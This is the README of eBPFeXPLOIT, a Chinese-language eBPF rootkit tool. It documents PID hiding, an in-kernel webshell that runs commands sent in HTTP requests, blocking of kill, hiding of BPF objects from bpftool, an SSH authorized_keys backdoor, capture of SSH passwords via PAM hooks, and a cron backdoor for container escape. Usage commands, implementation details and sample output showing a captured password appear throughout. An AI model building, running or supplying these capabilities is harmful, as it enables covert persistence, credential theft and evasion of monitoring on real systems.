Skip to content

Latest commit

 

History

History
486 lines (298 loc) · 18.1 KB

README.zh-cn.md

File metadata and controls

486 lines (298 loc) · 18.1 KB

eBPFeXPLOIT

eBPFeXPLOIT是一款基于eBPF的渗透利用工具。

目前实现的功能有:

  • 隐藏自己的PID和指定的其他Pid,考虑到处理的方便至多隐藏5个pid
  • ebpf内存马
  • 阻止Kill命令。指定Pid的进程将不会被Kill
  • 隐藏注入到内核中的eBPF程序、Map、Link
  • ssh backdoor
  • 捕获ssh的username和password
  • cron backdoor(可用于容器逃逸)

Hide Pid

隐藏至多4个目标PID和自己的PID,一共5个pid。默认隐藏自己

go generate &&go build -o main &&./main -pid 263959,269942


echo $$
263959
ps aux | grep -i "263959"
root      277863  0.0  0.0   3440  1920 pts/2    S+   13:51   0:00 grep --color=auto -i 263959

隐藏Pid的原理就在于getdents64系统调用。在 Linux 中,getdents64 系统调用可以读取目录下的文件信息,ps等命令的底层都是通过getdents64获取/proc/文件夹下面文件的信息来获取进程相关信息。

ctx的第二个参数是linux_dirent64 *dirp,它的结构如下:

 struct linux_dirent64 {
     u64        d_ino;    /* 64-bit inode number */
     u64        d_off;    /* 64-bit offset to next structure */
     unsigned short d_reclen; /* Size of this dirent */
     unsigned char  d_type;   /* File type */
     char           d_name[]; /* Filename (null-terminated) */ };

它实际上代表了getdents64将要访问的目录中的条目。前两个字段意义不大,第三个指的是当前这个linux_dirent64的长度,第五个d_name指的是当前目标的文件名,例如pid是200的话,即/proc/200,那么d_name就是200。

因此只要hook这个进程,将目标Pid的linux_dirent64的前一个linux_dirent64d_reclen修改为d_reclen_previous + d_reclen,这样就可以跳过目标Pid的文件,实现了Pid的隐藏。

但是因为中间的逻辑比较复杂,如果要隐藏的Pid过多的话verifyier会炸,因此算上程序本身,至多隐藏5个。

ebpf-MemoryShell

能够实现基本的内存马功能,但是还是有一系列的问题:

  • 暂时没有处理分片传输。
  • 我本地的虚拟机Linux有问题,一直配不好tc只接收egress流量,导致了tc是接收的egress和ingress全流量,性能相对来说会下降。
  • 执行命令是用户态里执行命令,
  • 命令执行必须放到get的最后一个参数中,因为不这样的话ebpf内核态处理会很麻烦导致过不去verify。
  • 必须原始的http响应字节数比命令执行结果的字节数多才能完全回显,尝试过扩充http的响应包。可以使用bpf_skb_change_tail扩充,但是同样还需要修改http响应头中的Content-Length的值,非常的复杂导致过不去verify。

在处理网络数据包的性能上,XDP优于TC优于hook syscall,因此XDP一定是第一选择,但是xdp只能接收ingress的流量,而tc可以收到egress的流量,因此让二者分开进行处理两侧。

TCP/IP  数据包报文格式(IP包、TCP报头、UDP报头)_数据包_02

xdp将接收到的命令发到用户态并执行后,用户态再将执行的结果发给TC,将结果写到http的响应中,而且如果执行结果想完全回显,必须找一个有比结果字节数多的http响应,一般还是比较好找的。

虽然提供了dexec这个选项,实际上dexec=0的功能还没有实现。

 ./main --help
Usage of ./main:
  -dexec string
        directly exec or not (default "-1")
  -ifname string
        interface xdp and tc will attach
  -pid string
        pid to hide (default "-1")


./main -ifname lo -dexec 1

image-20240105165324387

Prevent Kill

虽然隐藏了Pid,假如运维还是以某种方式知道了我们程序的pid的话,需要阻止Kill命令杀死我们的进程。

首先hook lsm/task_kill,遇到要保护的pid的时候return -EPERM,阻止后续的执行。

同时hook kretprobe/sys_kill,当syscall返回的时候修改返回值为-ESRCH,就可以伪装该进程不存在:

go build -o main &&./main
2024/01/06 19:19:40 current pid:398235
2024/01/06 19:19:40 Waiting for events..


kill -9 398235
bash: kill: (398235) - No such process

考虑过用kprobe或者tp,但是没有很好的办法在enter的时候阻止后续的处理,因此只能用lsm,但感觉这似乎不是一个最好办法。

考虑过在kprobe里面直接over write return,但是我一直无法正确获取到参数的pid如果不用BPF_KPROBE宏的话,可能是我虚拟机的问题,看来一直在超级高版本的linux内核而且是arm64架构下开发问题真的很大,得想办法弄一个能远程开发的amd64架构的linux了(因为我是在mac的虚拟机里开发ebpf的)。

Hide eBPF program

虽然隐藏了用户态程序本身的Pid,但是通过例如bpftool prog list这样的命令还是可以发现我们注入到内核中的eBPF程序,但是考虑到大部分Linux系统都不会去装bpftool,运维可能连eBPF是什么,因此注入到了内核的eBPF程序被发现的可能性很低,因此这部分的处理就比较简单,参考一下Learning-eBPF这本书中的内容,在查看prog或者map等基本都要经过这样的流程:

[0000ffffb38e1aa8] bpf(BPF_PROG_GET_NEXT_ID, {start_id=0, next_id=0, open_flags=0}, 12) = 0
[0000ffffb38e1aa8] bpf(BPF_PROG_GET_FD_BY_ID, {prog_id=2, next_id=0, open_flags=0}, 12) = 3
[0000ffffb38e1aa8] bpf(BPF_OBJ_GET_INFO_BY_FD, {info={bpf_fd=3, info_len=232, info=0xffffc95ef490}}, 16) = 0

BPF_PROG_GET_NEXT_ID获取ID,然后BPF_PROG_GET_FD_BY_ID获取fd,最后BPF_OBJ_GET_INFO_BY_FD获取相关的obj,这样的步骤会一直循环,直到BPF_PROG_GET_NEXT_ID找不到相关的ID为止。

因此直接hook bpf系统调用,在遇到BPF_PROG_GET_NEXT_IDBPF_MAP_GET_NEXT_IDBPF_LINK_GET_NEXT_ID的时候,进行处理即可。

ssh backdoor

ssh backdoor基于这么一个原理:

  1. 生成密钥对:首先,在客户端上生成一对密钥,包括公钥和私钥。通常使用 RSA 或 DSA 算法生成密钥对。私钥应该保持机密,而公钥可以在需要的地方进行分发;
  2. 分发公钥:将客户端生成的公钥复制到要进行免密登录的目标主机上的 ~/.ssh/authorized_keys 文件中。这个文件存储了允许访问该主机的公钥列表;
  3. 连接认证:当客户端尝试连接到目标主机时,目标主机会向客户端发送一个随机的挑战。客户端使用其私钥对挑战进行签名,并将签名发送回目标主机;
  4. 验证签名:目标主机使用之前存储的客户端公钥来验证客户端发送的签名。如果签名验证成功,则目标主机确认客户端的身份,并允许免密登录。

ssh使用密钥登录的时候会读取authorized_keys文件中的公钥,利用eBPF程序hook openat和read等系统,替换掉authorized_keys中的公钥为我们自己的,就可以实现一个隐蔽的ssh后门。

因为考虑到之前的authorized_keys里面的字节数可能会不够,因此程序会在目标authorized_keys后面填充很多的空格。

Catch Ssh Username and Password

hook pam_get_authtok来捕获ssh的用户名和密码。需要libpam.so.0的绝对路径。

Cron backdoor

思路来源于云原生安全攻防|使用eBPF逃逸容器技术分析与实践

正常使用可以创建一个难以发现的cron后门,在CAP_SYS_ADMIN权限的容器环境中,可以实现容器逃逸。

通过strace查看cron进程,可以发现会调用newfstatat读取/etc/crontab三次,第三次是以newfstatat(5, "", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_EMPTY_PATH) = 0的形式,因此代码中还需要注意对dtd的判断。

strace -p 1042
strace: Process 1042 attached
restart_syscall(<... resuming interrupted io_setup ...>) = 0
newfstatat(AT_FDCWD, "/etc/localtime", {st_mode=S_IFREG|0644, st_size=561, ...}, 0) = 0
newfstatat(AT_FDCWD, "crontabs", {st_mode=S_IFDIR|S_ISVTX|0730, st_size=4096, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/crontab", {st_mode=S_IFREG|0644, st_size=1136, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/cron.d", {st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/cron.d/anacron", {st_mode=S_IFREG|0644, st_size=219, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/cron.d/e2scrub_all", {st_mode=S_IFREG|0644, st_size=202, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/crontab", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_SYMLINK_NOFOLLOW) = 0
openat(AT_FDCWD, "/etc/crontab", O_RDONLY) = 5
newfstatat(5, "", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_EMPTY_PATH) = 0
getpid()                                = 1042
getpid()                                = 1042
sendto(4, "<78>Jan 14 18:50:01 cron[1042]: "..., 64, MSG_NOSIGNAL, NULL, 0) = 64
fcntl(5, F_GETFL)                       = 0x20000 (flags O_RDONLY|O_LARGEFILE)
lseek(5, 0, SEEK_CUR)                   = 0
newfstatat(5, "", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_EMPTY_PATH) = 0
read(5, "* * * * * root /bin/sh -c \"curl "..., 4096) = 1136
lseek(5, 0, SEEK_SET)                   = 0
read(5, "* * * * * root /bin/sh -c \"curl "..., 4096) = 1136
....

通过hook相关的进程,即可实现每分钟cron检查/etc/crontab的时候,将恶意的命令注入其中。

针对vixie-cron进行后门植入,没有测试过其他版本的cron

How to Use

./main --help
Usage of ./main:
  -catchssh string
        catch the ssh username and password or not (default "-1")
  -croncmd string
        the cmd that cron will execute.If you want to use quotes, use single quotes
  -dexec string
        directly exec or not (default "-1")
  -hideebpf string
        hide or not hide the ebpf prog ,map and link (default "1")
  -ifname string
        interface xdp and tc will attach
  -pampath string
        the absolute path of libpam.so.0,maybe need 'find / -name libpam.so.0'
  -pid string
        pid to hide (default "-1")
  -selfpubkey string
        the ssh public key file path we generate,such as ./id_rsa.pub
  -targetpubkey string
        the ssh public key path the user we want to login,such as /root/.ssh/authorized_keys

隐藏Pid

默认会隐藏程序自身的pid:

./main -pid 263959,269942

内存马

./main -ifname lo -dexec 1

ifname指定网络接口,dexec设置为1即可。如果程序在tc上遇到的问题导致没有清除,可以手动清除:

tc qdisc del dev lo clsact

自行将lo换成自己的网络接口即可。

阻止Kill

默认功能,针对Pid

go build -o main &&./main
2024/01/06 19:19:40 current pid:398235
2024/01/06 19:19:40 Waiting for events..


kill -9 398235
bash: kill: (398235) - No such process

隐藏eBPF程序

默认隐藏

go build -o main &&./main

#结果都为空
bpftool prog list
bpftool map list
bpftool link list

ssh后门

./main -selfpubkey ./id_rsa.pub -targetpubkey /home/parallels/.ssh/authorized_keys


13:24:47 › ssh -i ./id_rsa parallels@10.211.55.11
parallels@10.211.55.11's password:

13:26:29 › ssh -i ./id_rsa parallels@10.211.55.11
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.5.13-060513-generic aarch64)

捕获SSH的用户名和密码

find / -name libpam.so.0
./main -catchssh 1 -pampath /usr/lib/aarch64-linux-gnu/libpam.so.0
2024/01/12 13:39:23 current pid:97335
2024/01/12 13:39:24 Waiting for events..
2024/01/12 13:39:28 =================================================================
2024/01/12 13:39:28 [+]receive SSH Username:feng
2024/01/12 13:39:28 [+]receive SSH Password:qweqweqeqweqw
2024/01/12 13:39:28 =================================================================


13:39:07 › ssh feng@10.211.55.11
feng@10.211.55.11's password:
Permission denied, please try again.

cron backdoor

执行的命令中如果要带上引号,请用单引号。

 ./main -croncmd "curl http://127.0.0.1:39123/"
2024/01/14 18:55:38 current pid:295190
2024/01/14 18:55:39 Waiting for events..


python3 -m http.server 39123
Serving HTTP on 0.0.0.0 port 39123 (http://0.0.0.0:39123/) ...
127.0.0.1 - - [14/Jan/2024 18:56:01] "GET / HTTP/1.1" 200 -

目前的程序只是简单的提供功能,因此启动程序后执行ctrl+c就可以停止程序。

程序中用到了BPF_MAP_TYPE_RINGBUF等比较新的功能,我没有太细查最低的版本要求,问了一下gpt大概是差不多Kernel 5.8以上。

所以5.8及其以上版本的Linux内核理论上是能跑的通的。此外程序需要以root权限运行。

可执行程序是用go交叉编译出来的,理论上别的架构也能执行?这是我的内核版本:

uname -a
Linux ubuntu-linux-22-04-02-desktop 6.5.13-060513-generic #202311281736 SMP PREEMPT_DYNAMIC Tue Nov 28 18:10:14 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux

手动编译

下面的编译过程可能会有些问题,优先按照.githubworkflows/go.yml(github actions)中的编译过程构建

因为代码中中使用了架构特定的宏,因此需要使用者自己根据使用的架构进行编译。

编译环境需要按照Getting Started - ebpf-go Documentation安装。因为用户态用的是Go。其他还需要安装编译eBPF所需要的基本的环境。

最好参考文章中安装,我下面只提到一些步骤,可能会有遗漏。

首先是eBPF基础的编译环境,需要安装clang,最好是clang11至clang14这个版本区间,在这个区间的clang版本都测试过不会出错。

然后安装libbpf,对于 Debian/Ubuntu,需要libbpf-dev. 在 Fedora 上,它是 libbpf-devel。如果安装失败,可以手动编译libbpf

git clone https://github.com/libbpf/libbpf.git
cd libbpf
cd src
sudo make
sudo make install

然后安装Linux 内核头文件,在 AMD64 Debian/Ubuntu 上,安装linux-headers-amd64.。在 Fedora 上,安装 kernel-devel.在 Debian 上,可能还需要,ln -sf /usr/include/asm-generic/ /usr/include/,不然可能会找不到<asm/types.h>

ebpf目录中的vmlinux.h可以自行生成,因为我的vmlinux.h是在arm64架构下生成的,可能无法在amd64下使用。先安装bpftool

sudo apt install -y linux-tools-$(uname -r)

如果无法安装可以使用源码编译:

sudo apt install build-essential \
        libelf-dev \
        libz-dev \
        libcap-dev \
        binutils-dev \
        pkg-config
git clone https://github.com/libbpf/bpftool.git
cd bpftool
git submodule update --init
cd src
sudo make
sudo make install
bpftool v -p
{
    "version": "7.3.0",
    "libbpf_version": "1.3",
    "features": {
        "libbfd": false,
        "llvm": true,
        "skeletons": true,
        "bootstrap": false
    }
}

然后生成vmlinux.h

bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

如果想从头安装eBPF相关的完整环境,可以参考如何在 Ubuntu 上配置 eBPF 开发环境 | YaoYao’s Blog

编译环境安装好之后,就是编译源码,首先要安装Go依赖:

go mod download

然后就是编译源码。首先修改gen.go,修改其中的-targetarm64或者amd64

然后编译即可:

go generate
go build -o eBPFeXPLOIT

TODO

很幸运,很多的前辈们已经在之前利用eBPF提出了很多的利用思路并写出了相关的工具,但是都是很单独很分散的,我想在学习的过程中,把这些思路自己写一遍来学习,将这些思路整合成一个功能完备的工具,同时在学习思路的时候有自己的思路,去想出新的思路并实现它。

  • 目前一切都不考虑将程序和Map pin到fs中,只为了提供方便的功能,等到整体功能实现的差不多之后可能会考虑。
  • 对低版本Linux的兼容。写代码的时候使用了很多新功能,导致了低版本Linux内核不兼容
  • 增加容器逃逸的功能模块
  • 捕获数据库流量

免责申明

如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。

除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。

References

[译]使用os/exec执行命令

bpf-developer-tutorial/src/23-http/README.md at main · eunomia-bpf/bpf-developer-tutorial

使用cilium/ebpf编译并加载TC BPF代码

Gui774ume/ebpfkit: ebpfkit is a rootkit powered by eBPF

pathtofile/bad-bpf: A collection of eBPF programs demonstrating bad behavior, presented at DEF CON 29

Emulating Bad Networks

Routing Family Netlink Library (libnl-route)

Attaching EBPF program returns no such file or directory · Issue #32 · florianl/go-tc

tc package - github.com/florianl/go-tc - Go Packages

绿色记忆:eBPF学习笔记

Esonhugh/sshd_backdoor: /root/.ssh/authorized_keys evil file watchdog with ebpf tracepoint hook.

基于eBPF的SSH后门 - 先知社区

复现基于eBPF实现的Docker逃逸

云原生安全攻防|使用eBPF逃逸容器技术分析与实践